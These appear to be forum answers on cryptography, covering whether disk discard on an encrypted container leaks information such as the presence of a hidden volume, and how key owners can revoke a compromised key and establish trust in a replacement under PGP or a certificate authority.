Assuming your encrypted container is using a secure algorithm in a secure manner, this won't let the attacker break the encryption.  In the worst-case scenario (writing files provided by the attacker), this is giving them information for performing a chosen-plaintext attack.  Any good encryption algorithm (eg. AES or Twofish) is strongly resistant to this sort of attack, so much so that you could spend millions of years writing to the disk without giving the attacker enough information to perform the attack.

The big risk is not to the encryption itself, but that it provides a side channel for gathering information about the data stored in the container.  For example, if all of the discarded blocks belong to one part of the disk, it's a good sign that a hidden volume is in use.


If a private key is believed to be compromised, how can the owner indicate what new public key to trust?

I think if you continue down this line of thinking you will end up inventing Certificate Authorities.

Yes, any key should be able to revoke itself (ie sign a message saying "Don't trust any future message from this key"). Whether this goes onto a revocation list or some other mechanism depends on how the system is designed.

As for telling the world which key to trust next, well in a web-of-trust system like PGP there's really no way to do that - your key is gone. You need to start over with collecting signatures on a new key. In a PKI system with a CA you can contact the people who issued your certificate, prove your identity (over the phone or in person or whatever your policy requires) and then get them to issue you a new certificate.

Off the top of my head I suppose you could always keep two keys -- the active one that you use and a backup, and have the current key sign a message saying "My backup key is XXXX". Given that your active key is compromised at some point in the future and you had a way to cryptographically prove that the cross-validation happened prior to the compromise (which also will require some foresight), then people could safely extend trust from the old key to the new key. ... I wonder if this is done is practice, I'm mostly an expert in Certificate Authorities where  you can just get the CA to re-issue.